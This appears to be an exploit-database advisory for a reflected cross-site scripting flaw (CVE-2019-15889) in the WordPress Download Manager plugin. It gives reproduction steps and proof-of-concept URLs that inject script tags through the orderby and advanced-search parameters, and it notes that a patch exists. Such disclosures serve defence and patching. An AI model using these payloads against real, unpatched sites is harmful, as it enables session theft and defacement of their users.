WordPress Download Manager Cross-site Scripting

vendor:

WordPress Download Manager

by:

ThuraMoeMyint

7.5

CVSS

HIGH

Cross-site Scripting

CWE

Product Name: WordPress Download Manager

Affected Version From: 2.9.93

Affected Version To: 2.9.93

Patch Exists: Yes

Related CWE: CVE-2019-15889

CPE: a:wpdownloadmanager:wordpress_download_manager

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WebApps, WordPress

2019

WordPress Download Manager Cross-site Scripting

In the pro features of the WordPress download manager plugin, there is a Category Short-code feature witch can use to sort categories with order by a function which will be used as ?orderby=title,publish_date. By adding parameter '>' and add any XSS payload, the xss payload will execute.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of the plugin.

Source

Exploit-DB raw data:

* Exploit Title: WordPress Download Manager Cross-site Scripting
* Discovery Date: 2019-04-13
* Exploit Author: ThuraMoeMyint
* Author Link: https://twitter.com/mgthuramoemyint
* Vendor Homepage: https://www.wpdownloadmanager.com
* Software Link: https://wordpress.org/plugins/download-manager
* Version: 2.9.93
* Category: WebApps, WordPress
CVE:CVE-2019-15889
Description
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In the pro features of the WordPress download manager plugin, there is
a Category Short-code feature witch can use to sort categories with
order by a function which will be used as ?orderby=title,publish_date
.
By adding parameter "> and add any XSS payload , the xss payload will execute.

To reproduce,

1.Go to the link where we can find ?orderby
2.Add parameters >” and give simple payload like <script>alert(1)</script>
3.The payload will execute.
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PoC
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 <div class="btn-group btn-group-sm pull-right"><button type="button"
class="btn btn-primary" disabled="disabled">Order &nbsp;</button><a
class="btn btn-primary"
href="https://server/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=asc">Asc</a><a
class="btn btn-primary"
href="https://server/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=desc">Desc</a></div>

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Demo
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https://server/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc
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Another reflected cross-site scripting via advance search

https://server/wpdmpro/advanced-search/

https://server/wpdmpro/advanced-search/?search[publish_date]=2019-04-17+to+2019-04-17%22%3E%3Cscript%3Ealert(1)%3C/script%3E&search[update_date]=&search[view_count]=&search[download_count]=&search[package_size]=&search[order_by]=&search[order]=ASC&q=a